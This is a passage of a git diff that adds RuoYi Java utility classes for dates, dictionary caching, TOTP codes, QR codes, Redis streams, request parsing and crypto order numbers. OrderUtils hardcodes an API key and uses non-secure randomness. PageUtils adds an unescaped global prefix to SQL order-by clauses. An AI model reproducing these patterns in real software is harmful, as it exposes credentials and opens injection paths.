+ + { + + int i = (int) ((date2.getTime() - date1.getTime()) / (1000 * 3600 * 24)); + + return i; + + } + + /** + * 计算时间差 + * + * @param endDate 最后时间 + * @param startTime 开始时间 + * @return 时间差(天/小时/分钟) + */ + public static String timeDistance(Date endDate, Date startTime) + { + long nd = 1000 * 24 * 60 * 60; + long nh = 1000 * 60 * 60; + long nm = 1000 * 60; + // long ns = 1000; + // 获得两个时间的毫秒时间差异 + long diff = endDate.getTime() - startTime.getTime(); + // 计算差多少天 + long day = diff / nd; + // 计算差多少小时 + long hour = diff % nd / nh; + // 计算差多少分钟 + long min = diff % nd % nh / nm; + // 计算差多少秒//输出结果 + // long sec = diff % nd % nh % nm / ns; + return day + "天" + hour + "小时" + min + "分钟"; + } + + /** + * 增加 LocalDateTime ==> Date + */ + public static Date toDate(LocalDateTime temporalAccessor) + { + ZonedDateTime zdt = temporalAccessor.atZone(ZoneId.systemDefault()); + return Date.from(zdt.toInstant()); + } + + /** + * 增加 LocalDate ==> Date + */ + public static Date toDate(LocalDate temporalAccessor) + { + LocalDateTime localDateTime = LocalDateTime.of(temporalAccessor, LocalTime.of(0, 0, 0)); + ZonedDateTime zdt = localDateTime.atZone(ZoneId.systemDefault()); + return Date.from(zdt.toInstant()); + } + + /** + * 相加天数 + * @param datetime 时间 + * @param day 天数 + * @return + */ + public static Date dateFormatDay(Date datetime, Integer day) { + Calendar cl = Calendar.getInstance(); + cl.setTime(datetime); + cl.add(Calendar.DATE, +day); + datetime = cl.getTime(); + return datetime; + } + + public static Map getWeek(Date date) { + + String[] weekDays = {"周日", "周一", "周二", "周三", "周四", "周五", "周六"}; + //创建日历类 + Calendar calendar = Calendar.getInstance(); + //获取当月月份 + int month = calendar.get(Calendar.MONTH) + 1; + //设置当前月份 + calendar.set(0, month, 0); + //获取当月每个月有多少天 + int monthday = calendar.get(Calendar.DAY_OF_MONTH); + //设置当前时间 + calendar.setTime(date); + //今天是几号 + int today = calendar.get(Calendar.DATE); + //今天是周几 + String weekday = weekDays[calendar.get(Calendar.DAY_OF_WEEK)-1]; + Map map=new HashMap<>(); + map.put("week",weekday); + map.put("day",today); + return map; + } + + + public static List getZoneTimeList() { + List list=new ArrayList<>(); + LocalDateTime localDateTime = LocalDateTime.now(); + for (String zoneId : ZoneId.getAvailableZoneIds()) { + TimeZone timeZone=new TimeZone(); + ZoneId id = ZoneId.of(zoneId); + + // LocalDateTime -> ZonedDateTime + ZonedDateTime zonedDateTime = localDateTime.atZone(id); + + // ZonedDateTime -> ZoneOffset + ZoneOffset zoneOffset = zonedDateTime.getOffset(); + + //replace Z to +00:00 + String offset = zoneOffset.getId().replaceAll("Z", ""); + + if(StringUtils.isNotEmpty(offset)){ + timeZone.setZoneId(id.toString()); + timeZone.setOffSet(offset); + list.add(timeZone); + } + } + List newList = new ArrayList<>();// 用于存放没有重复的元素的list + for (TimeZone timeZone : list) { + boolean b = newList.stream().anyMatch(u -> u.getOffSet().equals(timeZone.getOffSet())); + if (!b) { + newList.add(timeZone); + } + } + newList = newList.stream().sorted(Comparator.comparing(TimeZone::getOffSet)).collect(Collectors.toList()); + return newList; + } + + public static TimeZone getTimeZone() { + java.util.TimeZone timeZone = java.util.TimeZone.getDefault(); + LocalDateTime localDateTime = LocalDateTime.now(); + ZoneId id = ZoneId.of(timeZone.getID()); + ZonedDateTime zonedDateTime = localDateTime.atZone(id); + ZoneOffset zoneOffset = zonedDateTime.getOffset(); + + TimeZone resultTimeZone = new TimeZone(); + resultTimeZone.setOffSet(zoneOffset.getId().replaceAll("Z", "")); + resultTimeZone.setOffSetValue(resultTimeZone.getOffSet().replaceAll(":",".").replaceAll("\\+0","") + .replaceAll("\\+","").replaceAll("\\-0","").replaceAll(".00","")); + resultTimeZone.setZoneId(id.toString()); + return resultTimeZone; + } + public static TimeZone getTimeZone(String gmt) { + java.util.TimeZone timeZone = java.util.TimeZone.getTimeZone(gmt); + ZoneId id = ZoneId.of(timeZone.getID()); + LocalDateTime localDateTime = LocalDateTime.now(id); + ZonedDateTime zonedDateTime = localDateTime.atZone(id); + ZoneOffset zoneOffset = zonedDateTime.getOffset(); + com.ruoyi.common.core.domain.entity.TimeZone resultTimeZone = new com.ruoyi.common.core.domain.entity.TimeZone(); + resultTimeZone.setOffSet(zoneOffset.getId().replaceAll("Z", "")); + String offSetValue=""; + String offSet = resultTimeZone.getOffSet(); + String[] split = offSet.split(":"); + int i = Integer.parseInt(split[0]); + int i1 = Integer.parseInt(split[1]); + if(i1>0){ + offSetValue=i+"."+i1; + }else { + offSetValue=i+""; + } + resultTimeZone.setOffSetValue(offSetValue); + resultTimeZone.setZoneId(id.toString()); + System.out.println(resultTimeZone); + return resultTimeZone; + } + + public static void main(String[] args) { + + TimeZone timeZone = getTimeZone(); + System.out.println(timeZone); + + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java new file mode 100644 index 0000000..cc5eab2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java @@ -0,0 +1,186 @@ +package com.ruoyi.common.utils; + +import java.util.Collection; +import java.util.List; +import com.alibaba.fastjson2.JSONArray; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.spring.SpringUtils; + +/** + * 字典工具类 + * + * @author ruoyi + */ +public class DictUtils +{ + /** + * 分隔符 + */ + public static final String SEPARATOR = ","; + + /** + * 设置字典缓存 + * + * @param key 参数键 + * @param dictDatas 字典数据列表 + */ + public static void setDictCache(String key, List dictDatas) + { + SpringUtils.getBean(RedisCache.class).setCacheObject(getCacheKey(key), dictDatas); + } + + /** + * 获取字典缓存 + * + * @param key 参数键 + * @return dictDatas 字典数据列表 + */ + public static List getDictCache(String key) + { + JSONArray arrayCache = SpringUtils.getBean(RedisCache.class).getCacheObject(getCacheKey(key)); + if (StringUtils.isNotNull(arrayCache)) + { + return arrayCache.toList(SysDictData.class); + } + return null; + } + + /** + * 根据字典类型和字典值获取字典标签 + * + * @param dictType 字典类型 + * @param dictValue 字典值 + * @return 字典标签 + */ + public static String getDictLabel(String dictType, String dictValue) + { + return getDictLabel(dictType, dictValue, SEPARATOR); + } + + /** + * 根据字典类型和字典标签获取字典值 + * + * @param dictType 字典类型 + * @param dictLabel 字典标签 + * @return 字典值 + */ + public static String getDictValue(String dictType, String dictLabel) + { + return getDictValue(dictType, dictLabel, SEPARATOR); + } + + /** + * 根据字典类型和字典值获取字典标签 + * + * @param dictType 字典类型 + * @param dictValue 字典值 + * @param separator 分隔符 + * @return 字典标签 + */ + public static String getDictLabel(String dictType, String dictValue, String separator) + { + StringBuilder propertyString = new StringBuilder(); + List datas = getDictCache(dictType); + + if (StringUtils.isNotNull(datas)) + { + if (StringUtils.containsAny(separator, dictValue)) + { + for (SysDictData dict : datas) + { + for (String value : dictValue.split(separator)) + { + if (value.equals(dict.getDictValue())) + { + propertyString.append(dict.getDictLabel()).append(separator); + break; + } + } + } + } + else + { + for (SysDictData dict : datas) + { + if (dictValue.equals(dict.getDictValue())) + { + return dict.getDictLabel(); + } + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 根据字典类型和字典标签获取字典值 + * + * @param dictType 字典类型 + * @param dictLabel 字典标签 + * @param separator 分隔符 + * @return 字典值 + */ + public static String getDictValue(String dictType, String dictLabel, String separator) + { + StringBuilder propertyString = new StringBuilder(); + List datas = getDictCache(dictType); + + if (StringUtils.containsAny(separator, dictLabel) && StringUtils.isNotEmpty(datas)) + { + for (SysDictData dict : datas) + { + for (String label : dictLabel.split(separator)) + { + if (label.equals(dict.getDictLabel())) + { + propertyString.append(dict.getDictValue()).append(separator); + break; + } + } + } + } + else + { + for (SysDictData dict : datas) + { + if (dictLabel.equals(dict.getDictLabel())) + { + return dict.getDictValue(); + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 删除指定字典缓存 + * + * @param key 字典键 + */ + public static void removeDictCache(String key) + { + SpringUtils.getBean(RedisCache.class).deleteObject(getCacheKey(key)); + } + + /** + * 清空字典缓存 + */ + public static void clearDictCache() + { + Collection keys = SpringUtils.getBean(RedisCache.class).keys(CacheConstants.SYS_DICT_KEY + "*"); + SpringUtils.getBean(RedisCache.class).deleteObject(keys); + } + + /** + * 设置cache key + * + * @param configKey 参数键 + * @return 缓存键key + */ + public static String getCacheKey(String configKey) + { + return CacheConstants.SYS_DICT_KEY + configKey; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java new file mode 100644 index 0000000..214e4a0 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java @@ -0,0 +1,39 @@ +package com.ruoyi.common.utils; + +import java.io.PrintWriter; +import java.io.StringWriter; +import org.apache.commons.lang3.exception.ExceptionUtils; + +/** + * 错误信息处理类。 + * + * @author ruoyi + */ +public class ExceptionUtil +{ + /** + * 获取exception的详细错误信息。 + */ + public static String getExceptionMessage(Throwable e) + { + StringWriter sw = new StringWriter(); + e.printStackTrace(new PrintWriter(sw, true)); + return sw.toString(); + } + + public static String getRootErrorMessage(Exception e) + { + Throwable root = ExceptionUtils.getRootCause(e); + root = (root == null ? e : root); + if (root == null) + { + return ""; + } + String msg = root.getMessage(); + if (msg == null) + { + return "null"; + } + return StringUtils.defaultString(msg); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/GoogleAuthenticator.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/GoogleAuthenticator.java new file mode 100644 index 0000000..3420594 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/GoogleAuthenticator.java @@ -0,0 +1,147 @@ +package com.ruoyi.common.utils; + +import com.google.zxing.BarcodeFormat; +import com.google.zxing.MultiFormatWriter; +import com.google.zxing.WriterException; +import com.google.zxing.client.j2se.MatrixToImageWriter; +import com.google.zxing.common.BitMatrix; +import org.apache.commons.codec.binary.Base32; +import org.apache.commons.codec.binary.Hex; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; + +public class GoogleAuthenticator { + public static String getRandomSecretKey() { + SecureRandom random = new SecureRandom(); + byte[] bytes = new byte[20]; + random.nextBytes(bytes); + Base32 base32 = new Base32(); + String secretKey = base32.encodeToString(bytes); + // make the secret key more human-readable by lower-casing and + // inserting spaces between each group of 4 characters + return secretKey.toUpperCase(); // .replaceAll("(.{4})(?=.{4})", "$1 "); + } + + public static String getTOTPCode(String secretKey) { + String normalizedBase32Key = secretKey.replace(" ", "").toUpperCase(); + Base32 base32 = new Base32(); + byte[] bytes = base32.decode(normalizedBase32Key); + String hexKey = Hex.encodeHexString(bytes); + long time = (System.currentTimeMillis() / 1000) / 30; + String hexTime = Long.toHexString(time); + return TOTP.generateTOTP(hexKey, hexTime, "6"); + } + + public static String getGoogleAuthenticatorBarCode(String secretKey, + String account, String issuer) { + String normalizedBase32Key = secretKey.replace(" ", "").toUpperCase(); + try { + return "otpauth://totp/" + + URLEncoder.encode(issuer + ":" + account, "UTF-8") + .replace("+", "%20") + + "?secret=" + + URLEncoder.encode(normalizedBase32Key, "UTF-8").replace( + "+", "%20") + "&issuer=" + + URLEncoder.encode(issuer, "UTF-8").replace("+", "%20"); + } catch (UnsupportedEncodingException e) { + throw new IllegalStateException(e); + } + } + + public static void createQRCode(String barCodeData, String filePath, + int height, int width) throws WriterException, IOException { + BitMatrix matrix = new MultiFormatWriter().encode(barCodeData, + BarcodeFormat.QR_CODE, width, height); + try (FileOutputStream out = new FileOutputStream(filePath)) { + MatrixToImageWriter.writeToStream(matrix, "png", out); + } + } + + static int window_size = 3; // default 3 - max 17 (from google docs)最多可偏移的时间 + + /** + * set the windows size. This is an integer value representing the number of + * 30 second windows we allow The bigger the window, the more tolerant of + * clock skew we are. + * + * @param s + * window size - must be >=1 and <=17. Other values are ignored + */ + public static void setWindowSize(int s) { + if (s >= 1 && s <= 17) { + window_size = s; + } + } + + /** + * Check the code entered by the user to see if it is valid + * + * @param secret + * The users secret. + * @param code + * The code displayed on the users device + * @param timeMsec + * The time in msec (System.currentTimeMillis() for example) + * @return + */ + public static boolean check_code(String secret, long code, long timeMsec) { + Base32 codec = new Base32(); + byte[] decodedKey = codec.decode(secret); + // convert unix msec time into a 30 second "window" + // this is per the TOTP spec (see the RFC for details) + long t = (timeMsec / 1000L) / 30L; + // Window is used to check codes generated in the near past. + // You can use this value to tune how far you're willing to go. + for (int i = -window_size; i <= window_size; ++i) { + long hash; + try { + hash = verify_code(decodedKey, t + i); + } catch (Exception e) { + // Yes, this is bad form - but + // the exceptions thrown would be rare and a static + // configuration problem + // e.printStackTrace(); + throw new RuntimeException(e.getMessage()); + // return false; + } + if (hash == code) { + return true; + } + } + // The validation code is invalid. + return false; + } + + private static int verify_code(byte[] key, long t) + throws NoSuchAlgorithmException, InvalidKeyException { + byte[] data = new byte[8]; + long value = t; + for (int i = 8; i-- > 0; value >>>= 8) { + data[i] = (byte) value; + } + SecretKeySpec signKey = new SecretKeySpec(key, "HmacSHA1"); + Mac mac = Mac.getInstance("HmacSHA1"); + mac.init(signKey); + byte[] hash = mac.doFinal(data); + int offset = hash[20 - 1] & 0xF; + // We're using a long because Java hasn't got unsigned int. + long truncatedHash = 0; + for (int i = 0; i < 4; ++i) { + truncatedHash <<= 8; + // We are dealing with signed bytes: + // we just keep the first byte. + truncatedHash |= (hash[offset + i] & 0xFF); + } + truncatedHash &= 0x7FFFFFFF; + truncatedHash %= 1000000; + return (int) truncatedHash; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java new file mode 100644 index 0000000..0de30c6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.utils; + +/** + * 处理并记录日志文件 + * + * @author ruoyi + */ +public class LogUtils +{ + public static String getBlock(Object msg) + { + if (msg == null) + { + msg = ""; + } + return "[" + msg.toString() + "]"; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java new file mode 100644 index 0000000..7dac75a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java @@ -0,0 +1,26 @@ +package com.ruoyi.common.utils; + +import org.springframework.context.MessageSource; +import org.springframework.context.i18n.LocaleContextHolder; +import com.ruoyi.common.utils.spring.SpringUtils; + +/** + * 获取i18n资源文件 + * + * @author ruoyi + */ +public class MessageUtils +{ + /** + * 根据消息键和参数 获取消息 委托给spring messageSource + * + * @param code 消息键 + * @param args 参数 + * @return 获取国际化翻译值 + */ + public static String message(String code, Object... args) + { + MessageSource messageSource = SpringUtils.getBean(MessageSource.class); + return messageSource.getMessage(code, args, LocaleContextHolder.getLocale()); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/OrderUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/OrderUtils.java new file mode 100644 index 0000000..722b5dc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/OrderUtils.java @@ -0,0 +1,55 @@ +package com.ruoyi.common.utils; + +import cn.hutool.core.util.HexUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; + +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Random; + +@Slf4j +@Component +public class OrderUtils { + + public static String hexPrefix= "41"; + public static String apiKey = "1d30da01-8244-423b-a017-7d69aa197313"; + public static String usdt = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; + + public static synchronized String generateOrderNum() { + Random random = new Random(); + SimpleDateFormat allTime = new SimpleDateFormat("MMddHHmmSS"); + String subjectno = allTime.format(new Date())+random.nextInt(10); + return subjectno+random.nextInt(10); + } + + + //生成纯数字 + public static String randomNumber(int n){ + String str="0123456789ABCDEFGHIGKLMNPQRSTUVWXYZ"; + StringBuilder sb=new StringBuilder(n); + for(int i=0;i<6;i++){ + char ch=str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + public static String randomNumberLower(int n){ + String str="0123456789abcdef"; + StringBuilder sb=new StringBuilder(n); + for(int i=0;i<5;i++){ + char ch=str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + + public static boolean trcAddrCheck(String address){ + return address.length() == 34; + } + public static boolean ethAddrCheck(String address){ + //return address.length() == 42 && address.startsWith("0x"); + return address.startsWith("0x"); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/PageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/PageUtils.java new file mode 100644 index 0000000..90fce00 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/PageUtils.java @@ -0,0 +1,38 @@ +package com.ruoyi.common.utils; + +import com.github.pagehelper.PageHelper; +import com.ruoyi.common.core.domain.OrderBySetting; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.utils.sql.SqlUtil; + +/** + * 分页工具类 + * + * @author ruoyi + */ +public class PageUtils extends PageHelper +{ + /** + * 设置请求分页数据 + */ + public static void startPage() + { + + PageDomain pageDomain = TableSupport.buildPageRequest(); + Integer pageNum = pageDomain.getPageNum(); + Integer pageSize = pageDomain.getPageSize(); + String orderBy = OrderBySetting.value+SqlUtil.escapeOrderBySql(pageDomain.getOrderBy()); + OrderBySetting.value = ""; + Boolean reasonable = pageDomain.getReasonable(); + PageHelper.startPage(pageNum, pageSize, orderBy).setReasonable(reasonable); + } + + /** + * 清理分页的线程变量 + */ + public static void clearPage() + { + PageHelper.clearPage(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/QrCodeUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/QrCodeUtil.java new file mode 100644 index 0000000..d46a572 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/QrCodeUtil.java @@ -0,0 +1,279 @@ +package com.ruoyi.common.utils; + +import com.google.zxing.*; +import com.google.zxing.client.j2se.BufferedImageLuminanceSource; +import com.google.zxing.common.BitMatrix; +import com.google.zxing.common.HybridBinarizer; +import com.google.zxing.qrcode.decoder.ErrorCorrectionLevel; + +import javax.imageio.ImageIO; +import java.awt.*; +import java.awt.geom.RoundRectangle2D; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.OutputStream; +import java.util.Hashtable; +import java.util.Random; + +/** + * 二维码工具类 + * + */ +public class QrCodeUtil { + private static final String CHARSET = "utf-8"; + private static final String FORMAT = "JPG"; + // 二维码尺寸 + private static final int QrCODE_SIZE = 300; + // LOGO宽度 + private static final int LOGO_WIDTH = 60; + // LOGO高度 + private static final int LOGO_HEIGHT = 60; + + private static BufferedImage createImage(String content, String logoPath, boolean needCompress) throws Exception { + Hashtable hints = new Hashtable(); + hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.H); + hints.put(EncodeHintType.CHARACTER_SET, CHARSET); + hints.put(EncodeHintType.MARGIN, 1); + BitMatrix bitMatrix = new MultiFormatWriter().encode(content, BarcodeFormat.QR_CODE, QrCODE_SIZE, QrCODE_SIZE, + hints); + int width = bitMatrix.getWidth(); + int height = bitMatrix.getHeight(); + BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); + for (int x = 0; x < width; x++) { + for (int y = 0; y < height; y++) { + image.setRGB(x, y, bitMatrix.get(x, y) ? 0xFF000000 : 0xFFFFFFFF); + } + } + if (logoPath == null || "".equals(logoPath)) { + return image; + } + // 插入图片 + QrCodeUtil.insertImage(image, logoPath, needCompress); + return image; + } + + /** + * 插入LOGO + * + * @param source + * 二维码图片 + * @param logoPath + * LOGO图片地址 + * @param needCompress + * 是否压缩 + * @throws Exception + */ + private static void insertImage(BufferedImage source, String logoPath, boolean needCompress) throws Exception { + File file = new File(logoPath); + if (!file.exists()) { + throw new Exception("logo file not found."); + } + Image src = ImageIO.read(new File(logoPath)); + int width = src.getWidth(null); + int height = src.getHeight(null); + if (needCompress) { // 压缩LOGO + if (width > LOGO_WIDTH) { + width = LOGO_WIDTH; + } + if (height > LOGO_HEIGHT) { + height = LOGO_HEIGHT; + } + Image image = src.getScaledInstance(width, height, Image.SCALE_SMOOTH); + BufferedImage tag = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); + Graphics g = tag.getGraphics(); + g.drawImage(image, 0, 0, null); // 绘制缩小后的图 + g.dispose(); + src = image; + } + // 插入LOGO + Graphics2D graph = source.createGraphics(); + int x = (QrCODE_SIZE - width) / 2; + int y = (QrCODE_SIZE - height) / 2; + graph.drawImage(src, x, y, width, height, null); + Shape shape = new RoundRectangle2D.Float(x, y, width, width, 6, 6); + graph.setStroke(new BasicStroke(3f)); + graph.draw(shape); + graph.dispose(); + } + + /** + * 生成二维码(内嵌LOGO) + * 二维码文件名随机,文件名可能会有重复 + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param destPath + * 存放目录 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static String encode(String content, String logoPath, String destPath, boolean needCompress) throws Exception { + BufferedImage image = QrCodeUtil.createImage(content, logoPath, needCompress); + mkdirs(destPath); + String fileName = new Random().nextInt(99999999) + "." + FORMAT.toLowerCase(); + ImageIO.write(image, FORMAT, new File(destPath + "/" + fileName)); + return fileName; + } + + /** + * 生成二维码(内嵌LOGO) + * 调用者指定二维码文件名 + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param destPath + * 存放目录 + * @param fileName + * 二维码文件名 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static String encode(String content, String logoPath, String destPath, String fileName, boolean needCompress) throws Exception { + BufferedImage image = QrCodeUtil.createImage(content, logoPath, needCompress); + mkdirs(destPath); + fileName = fileName.substring(0, fileName.indexOf(".")>0?fileName.indexOf("."):fileName.length()) + + "." + FORMAT.toLowerCase(); + ImageIO.write(image, FORMAT, new File(destPath + "/" + fileName)); + return fileName; + } + + /** + * 当文件夹不存在时,mkdirs会自动创建多层目录,区别于mkdir. + * (mkdir如果父目录不存在则会抛出异常) + * @param destPath + * 存放目录 + */ + public static void mkdirs(String destPath) { + File file = new File(destPath); + if (!file.exists() && !file.isDirectory()) { + file.mkdirs(); + } + } + + /** + * 生成二维码(内嵌LOGO) + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param destPath + * 存储地址 + * @throws Exception + */ + public static String encode(String content, String logoPath, String destPath) throws Exception { + return QrCodeUtil.encode(content, logoPath, destPath, false); + } + + /** + * 生成二维码 + * + * @param content + * 内容 + * @param destPath + * 存储地址 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static String encode(String content, String destPath, boolean needCompress) throws Exception { + return QrCodeUtil.encode(content, null, destPath, needCompress); + } + + /** + * 生成二维码 + * + * @param content + * 内容 + * @param destPath + * 存储地址 + * @throws Exception + */ + public static String encode(String content, String destPath) throws Exception { + return QrCodeUtil.encode(content, null, destPath, false); + } + + /** + * 生成二维码(内嵌LOGO) + * + * @param content + * 内容 + * @param logoPath + * LOGO地址 + * @param output + * 输出流 + * @param needCompress + * 是否压缩LOGO + * @throws Exception + */ + public static void encode(String content, String logoPath, OutputStream output, boolean needCompress) + throws Exception { + BufferedImage image = QrCodeUtil.createImage(content, logoPath, needCompress); + ImageIO.write(image, FORMAT, output); + } + + /** + * 生成二维码 + * + * @param content + * 内容 + * @param output + * 输出流 + * @throws Exception + */ + public static void encode(String content, OutputStream output) throws Exception { + QrCodeUtil.encode(content, null, output, false); + } + + /** + * 解析二维码 + * + * @param file + * 二维码图片 + * @return + * @throws Exception + */ + public static String decode(File file) throws Exception { + BufferedImage image; + image = ImageIO.read(file); + if (image == null) { + return null; + } + BufferedImageLuminanceSource source = new BufferedImageLuminanceSource(image); + BinaryBitmap bitmap = new BinaryBitmap(new HybridBinarizer(source)); + Result result; + Hashtable hints = new Hashtable(); + hints.put(DecodeHintType.CHARACTER_SET, CHARSET); + result = new MultiFormatReader().decode(bitmap, hints); + String resultStr = result.getText(); + return resultStr; + } + + /** + * 解析二维码 + * + * @param path + * 二维码图片地址 + * @return + * @throws Exception + */ + public static String decode(String path) throws Exception { + return QrCodeUtil.decode(new File(path)); + } + + public static void main(String[] args) throws Exception { + String text = "http://www.lrshuai.top?kw=哈哈|新年快乐||哈哈"; + //不含Logo + //QrCodeUtil.encode(text, null, "e:\\", true); + //含Logo,不指定二维码图片名 + //QrCodeUtil.encode(text, "e:\\csdn.jpg", "e:\\", true); + //含Logo,指定二维码图片名 + QrCodeUtil.encode(text, "E:\\lrs_img\\16.png", "e:\\", "qrcode", true); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/RedisUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RedisUtil.java new file mode 100644 index 0000000..116ebdc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RedisUtil.java @@ -0,0 +1,74 @@ +package com.ruoyi.common.utils; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.domain.Range; +import org.springframework.data.redis.connection.stream.*; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.stereotype.Component; + +import java.time.Duration; +import java.util.*; + + +@Slf4j +@Component +public class RedisUtil { + private final RedisTemplate redisTemplate; + + @Autowired + public RedisUtil(RedisTemplate redisTemplate){ + this.redisTemplate = redisTemplate; + } + + /** + * XADD 添加stream消息 + * @param key stream对应的key + * @param message 要村粗的消息数据 + */ + public RecordId addStream(String key, Map message){ + RecordId add = redisTemplate.opsForStream().add(key, message); +// log.debug("添加成功:"+add); + return add; + } + + public void addGroup(String key, String groupName){ + redisTemplate.opsForStream().createGroup(key,groupName); + } + + public void delField(String key, String fieldId){ + redisTemplate.opsForStream().delete(key,fieldId); + } + + /** + * 读取所有stream消息 + * @param key + * @return + */ + public List> getAllStream(String key){ + List> range = redisTemplate.opsForStream().range(key, Range.open("-", "+")); + if(range == null){ + return null; + } + for(MapRecord mapRecord : range){ + redisTemplate.opsForStream().delete(key,mapRecord.getId()); + } + return range; + } + + public void getStream(String key){ + List> read = redisTemplate.opsForStream().read(StreamReadOptions.empty().block(Duration.ofMillis(1000*30)).count(2), StreamOffset.latest(key)); + System.out.println(read); + } + + public void getStreamByGroup(String key, String groupName,String consumerName){ + List> read = redisTemplate.opsForStream().read(Consumer.from(groupName, consumerName), StreamReadOptions.empty(), StreamOffset.create(key,ReadOffset.lastConsumed())); + log.debug("group read :{}",read); + } + + public boolean hasKey(String key){ + Boolean aBoolean = redisTemplate.hasKey(key); + return aBoolean==null?false:aBoolean; + } + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/RequestUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RequestUtil.java new file mode 100644 index 0000000..d731a13 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/RequestUtil.java @@ -0,0 +1,125 @@ +package com.ruoyi.common.utils; + +import com.alibaba.fastjson.JSONObject; +import com.google.gson.Gson; +import com.google.gson.reflect.TypeToken; +import lombok.extern.slf4j.Slf4j; +import javax.servlet.http.HttpServletRequest; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; + +/** + * IP工具类 + * + * @author zebra + * + */ +@Slf4j +public class RequestUtil { + + + /** + * 获取拦截json + * + * @param request + * @return + * @throws Exception + */ + public static String readJSONString(HttpServletRequest request) throws Exception { + StringBuffer json = new StringBuffer(); + String line ; + try { + BufferedReader reader = request.getReader(); + while ((line = reader.readLine()) != null) { + json.append(line); + } + } catch (Exception e) { + log.error("[信息]解析json异常", e); + throw new Exception(); + } + return json.toString(); + } + + public static String getUrlLast(String url) { + int index = url.lastIndexOf("/"); + if (index < 0) { + return ""; + } + url = url.substring(index + 1); + + int index_2 = url.lastIndexOf("?"); + if (index_2 > 0) { + url = url.substring(index_2 + 1); + } + int index_3 = url.lastIndexOf("#"); + if (index_3 > 0) { + url = url.substring(index_3 + 1); + } + return url; + } + + public static String getUrlLastTwo(String url) { + int index = url.lastIndexOf("/"); + if (index < 0) { + return ""; + } + url = url.substring(0, index); + index = url.lastIndexOf("/"); + if (index < 0) { + return ""; + } + return url.substring(index + 1); + } + + public static Map getDataFromRequest(HttpServletRequest request){ + Gson gson = new Gson(); + String type = request.getContentType(); + Map receiveMap = new HashMap(); + if("application/x-www-form-urlencoded".equals(type)){ + Enumeration enu = request.getParameterNames(); + while (enu.hasMoreElements()) { + String key = String.valueOf(enu.nextElement()); + String value = request.getParameter(key); + receiveMap.put(key, value); + } + }else{ //else是text/plain、application/json这两种情况 + BufferedReader reader = null; + StringBuilder sb = new StringBuilder(); + try{ + reader = new BufferedReader(new InputStreamReader(request.getInputStream(), "utf-8")); + String line ; + while ((line = reader.readLine()) != null){ + sb.append(line); + } + } catch (IOException e){ + e.printStackTrace(); + } finally { + try{ + if (null != reader){ + reader.close(); + } + } catch (IOException e){ + e.printStackTrace(); + } + } + receiveMap = gson.fromJson(sb.toString(), new 